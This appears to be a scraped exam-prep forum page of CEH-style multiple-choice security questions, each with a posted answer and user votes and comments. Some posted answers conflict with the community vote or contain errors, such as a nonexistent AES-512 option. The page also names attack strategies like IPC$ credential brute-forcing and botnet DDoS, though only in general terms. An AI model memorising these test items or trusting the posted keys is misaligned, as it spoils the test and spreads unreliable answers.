So option C might be tempting, however it is not used to target a specific account (a service account), hence D would be a "more correct" option. And, according to the handbook, the next step in the attack after TGT is the Service Ticket Request...so D

upvoted 1 times

✉️ 🚩 insanaint 7 months, 3 weeks ago

Selected Answer: D

D. Request a service ticket for the service principal name of the target service account

upvoted 3 times

✉️ 🚩 [Removed] 7 months, 3 weeks ago

I'm a bit hesitant about the validity of this claim

upvoted 1 times

As a cybersecurity analyst at IoT Defend, you are working with a large utility company that uses Industrial Control Systems (ICS) in its operational technology (OT) environment. The company has recently integrated IoT devices into this environment to enable remote monitoring and control. They want to ensure these devices do not become a weak link in their security posture. To identify potential vulnerabilities in the IoT devices, which of the following actions should you recommend as the first step?

- A. Use stronger encryption algorithms for data transmission between IoT devices.
- B. Implement network segmentation to isolate IoT devices from the rest of the network.
- C. Conduct a vulnerability assessment specifically for the IoT devices.
- D. Install the latest antivirus software on each IoT device.

Correct Answer: C

*Community vote distribution*

C (100%)

✉️  yicx1 3 months ago

Selected Answer: C

The key word is "to identify potential vulnerabilities". All other answers are about how to enhance security, only C is to identify potential vulnerabilities.

upvoted 1 times

✉️  LordXander 6 months, 1 week ago

Selected Answer: C

A - only useful for MITM attack, otherwise..in case of an device takeover, this would not suffice

B - well, if they need them to communicate with the ICS in order to have remote access, you cannot really use segmentation...now can you?

C - Seems very valid

D - well, problem with antivirus software is that it doesn't cover all the zero-days that appear. Now if it would say patching and maintaining the device up-to-date, it would be a different scenario.

So C, by elimination (also AI agrees)

upvoted 1 times

✉️  qtygbapjpesdayazko 6 months, 1 week ago

Selected Answer: C

Keyword "To identify potential vulnerabilities"

upvoted 1 times

✉️  multivolt 7 months, 3 weeks ago

Im not certain about the reliability of that information

upvoted 1 times

✉️  insanint 7 months, 3 weeks ago

Selected Answer: C

C. Conduct a vulnerability assessment specifically for the IoT devices.

upvoted 4 times

A penetration tester is performing an enumeration on a client's network. The tester has acquired permission to perform enumeration activities. They have identified a remote inter-process communication (IPC) share and are trying to collect more information about it. The tester decides to use a common enumeration technique to collect the desired data. Which of the following techniques would be most appropriate for this scenario?

- A. Probe the IPC share by attempting to brute force admin credentials
- B. Brute force Active Directory
- C. Extract usernames using email IDs
- D. Conduct a DNS zone transfer

Correct Answer: A

*Community vote distribution*

A (100%)

✉️  **cloufgangster** Highly Voted  7 months, 3 weeks ago

Selected Answer: A

The answer is A, i can only answer what i know. pg 401 CEH V12  
upvoted 5 times

✉️  **LordXander** Most Recent  6 months, 1 week ago

Selected Answer: A

So, it is A...however is a very...barbarian way of doing it.

Under normal circumstances, without the handbook I would've gone for D since this is authorised and I simply ask to do a DNS zone transfer. But then we have the page 401...and we know EC likes to have their most correct answer, so...A  
upvoted 1 times

✉️  **duke\_of\_kamulu** 7 months, 1 week ago

ANS A pg 401 During enumeration, attackers may stumble upon a remote inter-process communication (IPC) share, such as IPC\$ in Windows, which they can probe further to connect to an administrative share by brute-forcing admin credentials and obtain complete information about the file-system listing that the share represents.

upvoted 4 times

✉️  **insaniunt** 7 months, 3 weeks ago

Selected Answer: A

A. Probe the IPC share by attempting to brute force admin credentials  
upvoted 3 times

✉️  **insaniunt** 7 months, 2 weeks ago

During enumeration, attackers may stumble upon a remote inter-process communication (IPC) share, such as IPC\$ in Windows, which they can probe further to connect to an administrative share by brute-forcing admin credentials and obtain complete information about the file-system listing that the share represents

upvoted 4 times

As a cybersecurity analyst at TechSafe Inc., you are working on a project to improve the security of a smart home system. This IoT-enabled system controls various aspects of the home, from heating and lighting to security cameras and door locks. Your client wants to ensure that even if one device is compromised, the rest of the system remains secure. Which of the following strategies would be most effective for this purpose?

- A. Recommend using a strong password for the smart home system's main control panel.
- B. Suggest implementing two-factor authentication for the smart home system's mobile app.
- C. Propose frequent system resets to clear any potential malware.
- D. Advise using a dedicated network for the smart home system, separate from the home's main Wi-Fi network.

Correct Answer: D

*Community vote distribution*

D (100%)

 multivolt 7 months, 3 weeks ago

Im unsure about the accuracy of this statement  
upvoted 1 times

 qwerty100 7 months, 3 weeks ago

Selected Answer: D

D. Advise using a dedicated network for the smart home system, separate from the home's main Wi-Fi network.  
upvoted 1 times

 insanint 7 months, 3 weeks ago

Selected Answer: D

D. Advise using a dedicated network for the smart home system, separate from the home's main Wi-Fi network.

Setting up a dedicated network for the smart home system, separate from the home's main Wi-Fi network, is the most effective strategy for ensuring that even if one device is compromised, the rest of the system remains secure. Here's why:

upvoted 2 times

During your summer internship at a tech company, you have been asked to review the security settings of their web server. While inspecting, you notice the server reveals detailed error messages to users, including database query errors and internal server errors. As a cybersecurity beginner, what is your understanding of this setting, and how would you advise the company?

- A. Retain the setting as it aids in troubleshooting user issues.
- B. Suppress detailed error messages, as they can expose sensitive information.
- C. Implement stronger encryption to secure the error messages.
- D. Increase the frequency of automated server backups.

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉️  **LordXander** 6 months, 1 week ago

Selected Answer: B

B...because that's information disclosure due to stack trace error  
upvoted 1 times

✉️  **multivolt** 7 months, 3 weeks ago

Hey team can we double-check this response  
upvoted 1 times

✉️  **qwertyst100** 7 months, 3 weeks ago

Selected Answer: B

B. Suppress detailed error messages, as they can expose sensitive information.  
upvoted 2 times

✉️  **insaniunt** 7 months, 3 weeks ago

Selected Answer: B

B. Suppress detailed error messages, as they can expose sensitive information.  
Module 15 Page 2338  
upvoted 3 times

You are the chief security officer at AlphaTech, a tech company that specializes in data storage solutions. Your company is developing a new cloud storage platform where users can store their personal files. To ensure data security, the development team is proposing to use symmetric encryption for data at rest. However, they are unsure of how to securely manage and distribute the symmetric keys to users. Which of the following strategies would you recommend to them?

- A. Use hash functions to distribute the keys.
- B. Use HTTPS protocol for secure key transfer.
- C. Use digital signatures to encrypt the symmetric keys.
- D. Implement the Diffie-Hellman protocol for secure key exchange.

Correct Answer: D

*Community vote distribution*

D (100%)

✉️ 🚩 LordXander 6 months, 1 week ago

Selected Answer: D

Matter of fact is that...the only reason I would pick D is because the others are not valid.

A - this is just a oneway process, so you cannot use it to decrypt the data later  
B - it could be...but then we have the "symmetric keys"  
C - is only used for data integrity validation  
D - very plausible as it's purpose is for symmetric keys.

So...D

upvoted 2 times

✉️ 🚩 qtygbapjpesdayazko 6 months, 1 week ago

Selected Answer: D

Key word "distribute the symmetric keys to users"

upvoted 1 times

✉️ 🚩 brrbrr 7 months, 1 week ago

Selected Answer: D

D is the right answer.

upvoted 2 times

✉️ 🚩 insanaint 7 months, 2 weeks ago

Selected Answer: D

D. Implement the Diffie-Hellman protocol for secure key exchange.

upvoted 4 times

✉️ 🚩 multivolt 7 months, 3 weeks ago

Im unsure about the accuracy of this statement

upvoted 1 times

You work as a cloud security specialist at SkyNet Solutions. One of your clients is a healthcare organization that plans to migrate its electronic health record (EHR) system to the cloud. This system contains highly sensitive personal and medical data. As part of your job, you need to ensure the security and privacy of this data while it is being transferred and stored in the cloud. You recommend that data should be encrypted during transit and at rest. However, you also need to ensure that even if a cloud service provider(CSP) has access to encrypted data, they should not be able to decrypt it. Which of the following would be the most suitable strategy to meet this requirement?

- A. Rely on network-level encryption protocols for data transfer.
- B. Use SSL/TLS for data transfer and allow the CSP to manage encryption keys.
- C. Utilize the CSP's built-in data encryption services.
- D. Use client-side encryption and manage encryption keys independently of the CSP.

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  **insaniunt** Highly Voted 7 months, 3 weeks ago

Selected Answer: D

D. Use client-side encryption and manage encryption keys independently of the CSP.  
upvoted 5 times

✉️  **LordXander** Most Recent 6 months, 1 week ago

Selected Answer: D

...I think there's a similar question to this, but this one makes the most sense because:

A - no control over the keys and if someone would be sniffing...well  
B - the CSP has the keys so if they have the encrypted data they can decrypt it  
C - again, CSP has the keys  
D - you have the data encrypted on the device/client, and manage the keys so by the time it reaches the network (even local) it is already encrypted.

Answer is D

upvoted 1 times

✉️  **multivolt** 7 months, 3 weeks ago

Could someone help me confirm if this is correct  
upvoted 1 times

A certified ethical hacker is conducting a Whois footprinting activity on a specific domain. The individual is leveraging various tools such as Batch IP Converter and Whois Analyzer Pro to retrieve vital details but is unable to gather complete Whois information from the registrar for a particular set of data. As the hacker, what might be the probable data model being utilized by the domain's registrar for storing and looking up Whois information?

- A. Thin Whois model working correctly
- B. Thin Whois model with a malfunctioning server
- C. Thick Whois model with a malfunctioning server
- D. Thick Whois model working correctly

Correct Answer: D

*Community vote distribution*

A (100%)

✉️  medithaperera 1 week, 6 days ago

I is A "unable to gather complete Whois information" means it is a Thin Whois model working correctly Mos  
upvoted 1 times

✉️  prasoonmk 3 months ago

Selected Answer: A  
What is a Thin WHOIS lookup?

A thin WHOIS lookup provides limited technical data from the registry which would include identifying the sponsoring registrar, the status of the domain, along with the creation and expiration dates. The remaining data, that being the contact details, are stored directly at the holding registrar(OpenSRS). Examples of this would be .COM and .NET, which soon will be moving to thick WHOIS as per the articles above at ICANN.  
What is a Thick WHOIS lookup?

A thick WHOIS lookup contains all the technical data with the registry, as such administrative and technical, owner contact details. In addition, the sponsoring registrar and registration status. With data handled directly at the registry level and not the registrar, there are limitations and restrictions to how the "domain lock" works, while making changes to contact details.

upvoted 1 times

✉️  LordXander 6 months, 1 week ago

Selected Answer: A

It is actually A because the limited information is part of thin WHOIS  
upvoted 2 times

✉️  qtygbapjpesdayazko 6 months, 1 week ago

Selected Answer: A

Keyword "unable to gather complete Whois" Thin Whois model working correctly  
upvoted 1 times

✉️  brrbrr 7 months, 1 week ago

Selected Answer: A

- Thick WHOIS: information from all registrars for the specified set of data.  
- Thin WHOIS: limited information about the specified set of data.  
upvoted 2 times

✉️  duke\_of\_kamulu 7 months, 1 week ago

A is the Answer  
upvoted 1 times

✉️  duke\_of\_kamulu 7 months, 1 week ago

pg 216 Thin Whois - Stores only the name of the Whois server of the registrar of a domain, which in turn holds complete details on the data being looked up.  
upvoted 1 times

A Thin WHOIS lookup provides limited technical data from the registry

upvoted 1 times

✉️  insanint 7 months, 3 weeks ago

Selected Answer: A

A. Thin Whois model working correctly

Thin Whois - Stores only the name of the Whois server of the registrar of a domain, which in turn holds complete details on the data being looked up.

upvoted 2 times

 **qwertyst100** 7 months, 3 weeks ago

Selected Answer: A

I think it's : A. Thin Whois model working correctly

<https://domaincocoon.com/thin-vs-thick-registry-whois>

upvoted 3 times

You are a cybersecurity professional managing cryptographic systems for a global corporation. The company uses a mix of Elliptic Curve Cryptography (ECC) for key exchange and symmetric encryption algorithms for data encryption. The time complexity of ECC key pair generation is  $O(n^3)$ , where 'n' is the size of the key. An advanced threat actor group has a quantum computer that can potentially break ECC with a time complexity of  $O((\log n)^2)$ . Given that the ECC key size is 'n=512' and varying symmetric encryption algorithms and key sizes, which scenario would provide the best balance of security and performance?

- A. Data encryption with AES-128: Provides moderate security and fast encryption, offering a balance between the two.
- B. Data encryption with AES-256: Provides high security with better performance than 3DES, but not as fast as other AES key sizes.
- C. Data encryption with 3DES using a 168-bit key: Offers high security but slower performance due to 3DES's inherent inefficiencies.
- D. Data encryption with Blowfish using a 448-bit key: Offers high security but potential compatibility issues due to Blowfish's less widespread use.

Correct Answer: B

*Community vote distribution*

B (86%) 14%

✉️  milktea810182 4 months, 2 weeks ago

Selected Answer: B

While AES-128 (Option A) does provide moderate security and fast encryption, its key size might be susceptible to potential advancements in computing power, including quantum computing. On the other hand, AES-256 offers a higher level of security due to its larger key size, making it more resistant to attacks, including those from quantum computers. Additionally, AES-256 still maintains reasonable performance, making it a suitable choice for data encryption in this scenario.

upvoted 1 times

✉️  LordXander 6 months, 1 week ago

Selected Answer: B

I would go by elimination:  
A - well, EC says at least 168/256  
B - could be, as it respects the requirement of 168/256  
C - improves the security but slower than AES256  
D - a lot of security, no so much speed.

So the option would be B which checks with the handbook (3300 - 3500) and also with the AI

upvoted 1 times

✉️  qtygbapjpesdayazko 6 months, 1 week ago

Selected Answer: A

Keyword "best balance of security and performance", AES-128 will do. <https://www.ubiqsecurity.com/128bit-or-256bit-encryption-which-to-use/>  
upvoted 1 times

✉️  qtygbapjpesdayazko 6 months, 2 weeks ago

Selected Answer: B

B. Data encryption with AES-256: Provides high security with better performance than 3DES, but not as fast as other AES key sizes.  
upvoted 1 times

✉️  Folken 6 months, 3 weeks ago

Selected Answer: B

Module 20, page 3460  
Counter measure of crypto atk : key size of 168/256 is preferred  
upvoted 1 times

✉️  dobarb 6 months, 3 weeks ago

Answer B.  
ECC 512 is RSA 15360 as key size. The smaller key/faster encryption. It asks about best balance security and performance. CEH page 3355  
upvoted 1 times

✉️  multivolt 7 months, 3 weeks ago

Hey friends can we make sure this is correct  
upvoted 1 times

✉️  insanint 7 months, 3 weeks ago

Selected Answer: B

B. Data encryption with AES-256: Provides high security with better performance than 3DES, and while it may not be as fast as some other AES key sizes, it offers a good compromise between security and performance  
upvoted 2 times

Question #161

Topic 1

You are a security analyst for CloudSec, a company providing cloud security solutions. One of your clients, a financial institution, wants to shift its operations to a public cloud while maintaining a high level of security control. They want to ensure that they can monitor all their cloud resources continuously and receive real-time alerts about potential security threats. They also want to enforce their security policies consistently across all cloud workloads. Which of the following solutions would best meet these requirements?

- A. Implement a Virtual Private Network (VPN) for secure data transmission.
- B. Deploy a Cloud Access Security Broker (CASB).
- C. Use multi-factor authentication for all cloud user accounts.
- D. Use client-side encryption for all stored data.

Correct Answer: B

*Community vote distribution*

B (100%)

✉️  LordXander 6 months, 1 week ago

Well, EC says CASB as posted by the colleague.

However, by elimination:

- A - doesn't provide the required information such as cloud resource monitoring
- B - does everything needed
- C - again, doesn't provide any sort of alert besides failed auth and no logging for resources
- D - again, resource management and alerts

upvoted 2 times

✉️  multivolt 7 months, 3 weeks ago

Hey team can we double-check this response

upvoted 1 times

✉️  insaniumt 7 months, 3 weeks ago

Selected Answer: B

- B. Deploy a Cloud Access Security Broker (CASB).
- module 19 page 3305 from ceh v12 book

upvoted 2 times

Consider a hypothetical situation where an attacker, known for his proficiency in SQL Injection attacks, is targeting your web server. This adversary meticulously crafts ' $q$ ' malicious SQL queries, each inducing a delay of ' $d$ ' seconds in the server response. This delay in response is an indicator of a potential attack. If the total delay, represented by the product ' $q \cdot d$ ', crosses a defined threshold ' $T$ ', an alert is activated in your security system. Furthermore, it is observed that the attacker prefers prime numbers for ' $q$ ', and ' $d$ ' follows a pattern in the Fibonacci sequence. Now, consider ' $d=13$ ' seconds (a Fibonacci number) and various values of ' $q$ ' (a prime number) and ' $T$ '. Which among the following scenarios will most likely trigger an alert?

- A.  $q=17, T=220$ : Even though the attacker increases ' $q$ ', the total delay ( $q \cdot d = 221$  seconds) just surpasses the threshold, possibly activating an alert.
- B.  $q=13, T=180$ : In this case, the total delay caused by the attacker ( $q \cdot d = 169$  seconds) breaches the threshold, likely leading to the triggering of a security alert.
- C.  $q=11, T=150$ : Here, the total delay induced by the attacker ( $q \cdot d = 143$  seconds) does not surpass the threshold, so the security system remains dormant.
- D.  $q=19, T=260$ : Despite the attacker's increased effort, the total delay ( $q \cdot d = 247$  seconds) does not exceed the threshold, thus no alert is triggered.

Correct Answer: A

*Community vote distribution*

A (100%)

✉️  **insaniunt** 7 months, 3 weeks ago

Selected Answer: A

A ->  
 $q=17$   
 $d=13$   
 $17 \cdot 13 = 221$  seconds ( greater than  $T = 220$ )  
upvoted 3 times

✉️  **qwerty100** 7 months, 3 weeks ago

Selected Answer: A

if  $q \cdot d > T == \text{alert}$   
  
A)  $221 > 220 = \text{alert}$   
B)  $169 < 180$   
C)  $143 < 150$   
D)  $247 < 260$   
upvoted 2 times

You are an ethical hacker contracted to conduct a security audit for a company. During the audit, you discover that the company's wireless network is using WEP encryption. You understand the vulnerabilities associated with WEP and plan to recommend a more secure encryption method. Which of the following would you recommend as a suitable replacement to enhance the security of the company's wireless network?

- A. Open System authentication
- B. WPA2-PSK with AES encryption
- C. SSID broadcast disabling
- D. MAC address filtering

Correct Answer: *B*

*Community vote distribution*

B (100%)

✉️  **dobarb** 6 months, 3 weeks ago

B. CEH page 1819  
upvoted 1 times

✉️  **multivolt** 7 months, 3 weeks ago

Could someone help me confirm if this is correct  
upvoted 1 times

✉️  **insaniunt** 7 months, 3 weeks ago

Selected Answer: B  
B. WPA2-PSK with AES encryption  
upvoted 4 times

You are the lead cybersecurity analyst at a multinational corporation that uses a hybrid encryption system to secure inter-departmental communications. The system uses RSA encryption for key exchange and AES for data encryption, taking advantage of the strengths of both asymmetric and symmetric encryption. Each RSA key pair has a size of 'n' bits, with larger keys providing more security at the cost of slower performance. The time complexity of generating an RSA key pair is  $O(n^2)$ , and AES encryption has a time complexity of  $O(n)$ . An attacker has developed a quantum algorithm with time complexity  $O((\log n)^2)$  to crack RSA encryption. Given 'n=4000' and variable 'AES key size', which scenario is likely to provide the best balance of security and performance?

- A. AES key size=128 bits: This configuration provides less security than option A, but RSA key generation and AES encryption will be faster.
- B. AES key size=256 bits: This configuration provides a high level of security, but RSA key generation may be slow.
- C. AES key size=192 bits: This configuration is a balance between options A and B, providing moderate security and performance.
- D. AES key size=512 bits: This configuration provides the highest level of security but at a significant performance cost due to the large AES key size.

Correct Answer: D

*Community vote distribution*

C (100%)

✉  qtygbapjpesdayazko 6 months, 1 week ago

Selected Answer: C

Keyword "best balance of security and performance" AES key size=192 bits, is the one with "balance" in the answer.  
upvoted 1 times

✉  Spam\_Protection 6 months, 3 weeks ago

B. Only AES 256 is quantum resistant. AES-512 does not exist.  
upvoted 2 times

✉  calx5 7 months, 1 week ago

Selected Answer: C

AES512, it seems it does not exist in an industrial.  
upvoted 1 times

✉  Unr34l 7 months, 2 weeks ago

Considering the goal of achieving a balance between security and performance, option B (AES key size=256 bits) is likely the most reasonable choice. It provides a high level of security while acknowledging that RSA key generation may be slower but is more practical than extremely large AES key sizes for general use.  
upvoted 2 times

✉  LeongCC 7 months, 1 week ago

Agreed

upvoted 1 times

✉  insaniunt 7 months, 2 weeks ago

Selected Answer: C

Considering the balance of security and performance, option C (AES key size=192 bits) seems to be a reasonable choice. It offers a compromise between the higher security of a 256-bit key and the faster performance of a 128-bit key, making it suitable for many practical scenarios.  
upvoted 1 times

✉  multivolt 7 months, 3 weeks ago

Could someone help me confirm the accuracy of this data  
upvoted 1 times

✉  qwerty100 7 months, 3 weeks ago

Selected Answer: C

I think it is C, but I am not sure

C. AES key size=192 bits: This configuration is a balance between options A and B, providing moderate security and performance.

(AES 512 does not exist)

<https://www.techtarget.com/searchsecurity/definition/Advanced-Encryption-Standard>

How AES encryption works:

AES includes three block ciphers:

AES-128 uses a 128-bit key length to encrypt and decrypt a block of messages.  
AES-192 uses a 192-bit key length to encrypt and decrypt a block of messages.  
AES-256 uses a 256-bit key length to encrypt and decrypt a block of messages.

Each cipher encrypts and decrypts data in blocks of 128 bits using cryptographic keys of 128, 192 and 256 bits, respectively.  
upvoted 2 times

 **qwerty100** 7 months, 1 week ago

It could be option B

B. AES key size=256 bits: This configuration provides a high level of security, but RSA key generation may be slow.

Quantum attacks:

AES-256 is considered to be quantum resistant, as it has similar quantum resistance to AES-128's resistance against traditional, non-quantum, attacks at 128 bits of security. AES-192 and AES-128 are not considered quantum resistant due to their smaller key sizes. AES-192 has a strength of 96 bits against quantum attacks and AES-128 has 64 bits of strength against quantum attacks, making them both insecure

[https://en.wikipedia.org/wiki/Advanced\\_Encryption\\_Standard](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard)

upvoted 1 times

An experienced cyber attacker has created a fake LinkedIn profile, successfully impersonating a high-ranking official from a well-established company, to execute a social engineering attack. The attacker then connected with other employees within the organization, receiving invitations to exclusive corporate events and gaining access to proprietary project details shared within the network. What advanced social engineering technique has the attacker primarily used to exploit the system and what is the most likely immediate threat to the organization?

- A. Whaling and Targeted Attacks
- B. Pretexting and Network Vulnerability
- C. Spear Phishing and Spam
- D. Baiting and Involuntary Data Leakage

Correct Answer: A

*Community vote distribution*

|         |         |    |
|---------|---------|----|
| A (54%) | B (42%) | 4% |
|---------|---------|----|

✉  **przemyslaw1**  7 months, 2 weeks ago

Selected Answer: B

Pretexting: Fraudsters may impersonate executives from financial institutions, telephone companies, and other businesses. They rely on "smooth-talking" and win the trust of an individual to reveal sensitive information. CEH Module 09 - Social Engineering  
upvoted 5 times

✉  **qtygbapjpesdayazko** 6 months, 1 week ago

This is the way  
upvoted 1 times

✉  **misolchang** 7 months, 1 week ago

I think this is right.  
upvoted 1 times

✉  **F4ll3n92**  1 week ago

Selected Answer: A

in the scenario described, aren't things referred of a network vulnerability, so, i think that the correct answer is A  
upvoted 1 times

✉  **ametah** 3 months, 1 week ago

Selected Answer: A

Pretexting Fraudsters may impersonate executives from financial institutions, telephone companies, and other businesses. They rely on "smooth-talking" and win the trust of an individual to reveal sensitive information.  
CEHv12 Module 09 Page 1386  
upvoted 1 times

✉  **ametah** 3 months, 1 week ago

Moderator please correct the vote to B.  
upvoted 1 times

✉  **rawal\_** 3 months, 2 weeks ago

Selected Answer: A

Why Option A (Whaling and Targeted Attacks) is Correct:

Impersonation of a high-ranking official: The attacker posed as a senior executive on LinkedIn, which is a typical tactic in whaling attacks where high-profile individuals are impersonated to gain credibility and manipulate targets.

Access to proprietary project details: By connecting with employees and gaining access to exclusive corporate events, the attacker successfully obtained sensitive information, demonstrating a targeted attack focused on acquiring valuable corporate data.

Therefore, option A (Whaling and Targeted Attacks) best describes the advanced social engineering technique used by the attacker and identifies the most likely immediate threat to the organization  
upvoted 2 times

✉  **LordXander** 6 months, 1 week ago

Selected Answer: A

So, in this context, A & B are strong contenders.  
A - seems more precise  
B - has that pretexting definition by the book

However, Pretexting is part of Whaling and in the question be have nothing about Network Vulnerability but be have about a targeted Attack.

So the final answer, and correct one, is A  
upvoted 1 times

✉  qtygbapjpesdayazko 6 months, 1 week ago

Selected Answer: B

Keyword "impersonating a high-ranking official" (Pretexting) not targeting CEOs (Whaling). From the book "Pretexting Fraudsters may impersonate executives from financial institutions"

upvoted 2 times

✉  qtygbapjpesdayazko 6 months, 2 weeks ago

Selected Answer: A

A - Whaling - Key word "high-ranking official"

upvoted 2 times

✉  qtygbapjpesdayazko 6 months, 1 week ago

Is not A is Pretexting.

upvoted 1 times

✉  Spam\_Protection 6 months, 3 weeks ago

Selected Answer: B

Pretexting Fraudsters may impersonate executives from financial institutions, telephone companies, and other businesses. They rely on "smooth-talking" and win the trust of an individual to reveal sensitive information.

upvoted 2 times

✉  dobarb 6 months, 3 weeks ago

B. CEH 1386 key word is impersonate

upvoted 1 times

✉  kennels 7 months, 1 week ago

Selected Answer: B

I think this comment is right.

> Pretexting: Fraudsters may~(przemyslaw1)

upvoted 2 times

✉  brrbrr 7 months, 1 week ago

Selected Answer: A

Key words is "high-ranking official". then the most likely immediate threat to the organization is targeted attacks.

upvoted 3 times

✉  JustAName 7 months, 3 weeks ago

Selected Answer: C

I would choose C, should not be A because the person impersonate high-ranking official, not targeting high-ranking official.

upvoted 1 times

✉  multivolt 7 months, 3 weeks ago

Im unsure about the accuracy of this statement

upvoted 1 times

✉  insanaint 7 months, 3 weeks ago

Selected Answer: A

A. Whaling and Targeted Attacks

Whaling = An attacker targets high profile executives like CEOs, CFOs, politicians, and celebrities who have complete access to confidential and highly valuable information. The attacker tricks the victim into revealing critical corporate and personal information through email or website spoofing

upvoted 4 times

✉  JustAName 7 months, 2 weeks ago

Here's my thought. The attacker impersonate as High-level executives, not targeting high-level executives. The attacker then target the rest of the employees, so i think whaling might not be the right answer.

upvoted 3 times

✉  JustAName 7 months, 2 weeks ago

actually, whaling and targeted attacks might be the closest answer here. Attacker impersonate as high-level execs and get access to only exclusive corporate events.

upvoted 3 times

As a cybersecurity analyst for a large corporation, you are auditing the company's mobile device management (MDM) policy. One of your areas of concern is data leakage from company-provided smartphones. You are worried about employees unintentionally installing malicious apps that could access sensitive corporate data on their devices. Which of the following would be an effective measure to prevent such data leakage?

- A. Require biometric authentication for unlocking devices.
- B. Regularly change Wi-Fi passwords used by the devices.
- C. Mandate the use of VPNs when accessing corporate data.
- D. Enforce a policy that only allows app installations from approved corporate app stores.

Correct Answer: D

*Community vote distribution*

D (100%)

✉ g\_man\_rap 5 months ago

D.

This tool does not provide insights into how long an email was read, as it's more focused on the journey of the email and where it was accessed rather than interaction details.

upvoted 1 times

✉ LordXander 6 months, 1 week ago

Selected Answer: D

The only one, the chosen one because...it's the only one that makes sense

upvoted 1 times

✉ insanint 7 months, 3 weeks ago

Selected Answer: D

D. Enforce a policy that only allows app installations from approved corporate app stores.

Module 17 Page 2717

upvoted 4 times

A certified ethical hacker is carrying out an email footprinting exercise on a targeted organization using eMailTrackerPro. They want to map out detailed information about the recipient's activities after receiving the email. Which among the following pieces of information would NOT be directly obtained from eMailTrackerPro during this exercise?

- A. Geolocation of the recipient
- B. Type of device used to open the email
- C. The email accounts related to the domain of the organization
- D. The time recipient spent reading the email

Correct Answer: **B**

*Community vote distribution*

C (89%) 11%

✉️ 🚑 **e8bf1bd** 2 months, 2 weeks ago

Answer D. The amount of time the recipient spent reading the email:

Information on the exact amount of time spent reading an email is usually not directly available through tools such as eMailTrackerPro. This type of detailed user interaction data may require more sophisticated tracking that monitors activity time in email content, which is usually beyond the capabilities of standard email tracking tools.

upvoted 1 times

✉️ 🚑 **xavi79** 4 months, 2 weeks ago

C is correct Answer based on chatgpt

upvoted 1 times

✉️ 🚑 **LordXander** 6 months, 1 week ago

Selected Answer: C

Seems like C because it would be weird to be B...like common

And the EC handbooks says the same, but again common sense

upvoted 1 times

✉️ 🚑 **Spam\_Protection** 6 months, 3 weeks ago

Selected Answer: C

Its C, Module 2 P141-142 on the digital book

upvoted 1 times

✉️ 🚑 **The\_Lucifer** 7 months ago

Selected Answer: C

pg 208-209

geolocation, device type, read duration

upvoted 1 times

✉️ 🚑 **brrbrr** 7 months, 1 week ago

Selected Answer: C

C. The email accounts related to the domain of the organization.

While eMailTrackerPro may provide information about the geolocation of the recipient, the type of device used to open the email, and the time spent reading the email, it is less likely to directly provide details about email accounts related to the domain of the organization. This type of information may require additional reconnaissance and investigation using other tools or techniques.

upvoted 2 times

✉️ 🚑 **hughnguyen** 4 months, 2 weeks ago

sounds like a chatgpt answer

upvoted 1 times

✉️ 🚑 **qtygbapjpesdayazko** 7 months ago

This is the way

upvoted 1 times

✉️ 🚑 **przemyslaw1** 7 months, 2 weeks ago

Selected Answer: C

Information about the victim gathered using email tracking tools includes:

- Recipient's System IP address
- Geolocation
- Email Received and Read

- Read Duration
  - Proxy Detection
  - Links
  - Operating System and Browser information
  - Forward Email
  - Device Type
  - Path Travelled
- upvoted 3 times

✉️  **insaniunt** 7 months, 2 weeks ago

Selected Answer: B

eMailTrackerPro can provide information such as geolocation, time spent reading the email, and other details. However, it may not directly provide information about the type of device used to open the email or the email accounts related to the domain of the organization...

idk, I think:

B. Type of device used to open the email

upvoted 1 times

✉️  **athicalacker** 7 months ago

Not correct. Answer is C.

Point from the CEH textbook:

▪ Device Type: Provides information about the type of device used to open and read the email, e.g., desktop computer, mobile device, or laptop  
Pg. 209

upvoted 1 times

✉️  **xbsumz** 7 months, 2 weeks ago

Hey ethical hacking team can we double-check this method

upvoted 1 times

You are a cybersecurity trainee tasked with securing a small home network. The homeowner is concerned about potential "Wi-Fi eavesdropping," where unauthorized individuals could intercept the wireless communications. What would be the most effective first step to mitigate this risk, considering the simplicity and the residential nature of the network?

- A. Disable the network's SSID broadcast
- B. Enable encryption on the wireless network
- C. Enable MAC address filtering
- D. Reduce the signal strength of the wireless router

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉️  **LordXander** 6 months, 1 week ago

**Selected Answer: B**

Because, again, the only one making sense...I mean, everything else would make it a bit harder but B makes it wayy harder for most attackers  
upvoted 1 times

✉️  **brrbrr** 7 months, 1 week ago

**Selected Answer: B**

B. Enable encryption on the wireless network.

Enabling encryption, specifically WPA3 or at least WPA2, on the wireless network is a crucial step in securing the communications between devices and the router. This encrypts the data transmitted over the Wi-Fi network, making it more difficult for unauthorized individuals to eavesdrop on and intercept the wireless communications. Encryption ensures that even if someone intercepts the wireless signals, they cannot easily decipher the information without the encryption key.

upvoted 2 times

✉️  **duke\_of\_kamulu** 7 months, 1 week ago

B enabling encryption reason because that scrambles comms even wen one get holds of the data is useless

upvoted 1 times

✉️  **insaniunt** 7 months, 3 weeks ago

**Selected Answer: B**

B. Enable encryption on the wireless network

upvoted 1 times

A well-resourced attacker intends to launch a highly disruptive DDoS attack against a major online retailer. The attacker aims to exhaust all the network resources while keeping their identity concealed. Their method should be resistant to simple defensive measures such as IP-based blocking. Based on these objectives, which of the following attack strategies would be most effective?

- A. The attacker should instigate a protocol-based SYN flood attack, consuming connection state tables on the retailer's servers
- B. The attacker should leverage a botnet to launch a Pulse Wave attack, sending high-volume traffic pulses at regular intervals
- C. The attacker should initiate a volumetric flood attack using a single compromised machine to overwhelm the retailer's network bandwidth
- D. The attacker should execute a simple ICMP flood attack from a single IP, exploiting the retailer's ICMP processing

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉  **qtygbapjpesdayazko** 6 months, 1 week ago

Selected Answer: B

Keyword "DDOS. so is botnet to launch a Pulse Wave attack.

upvoted 1 times

✉  **qwertyst100** 7 months, 3 weeks ago

Selected Answer: B

It's b

B. The attacker should leverage a botnet to launch a Pulse Wave attack, sending high-volume traffic pulses at regular intervals

The clues are:

- keeping their identity concealed
  - resistant to simple defensive measures such as IP-based blocking
- upvoted 2 times

✉  **insaniunt** 7 months, 3 weeks ago

Selected Answer: B

B. The attacker should leverage a botnet to launch a Pulse Wave attack, sending high-volume traffic pulses at regular intervals

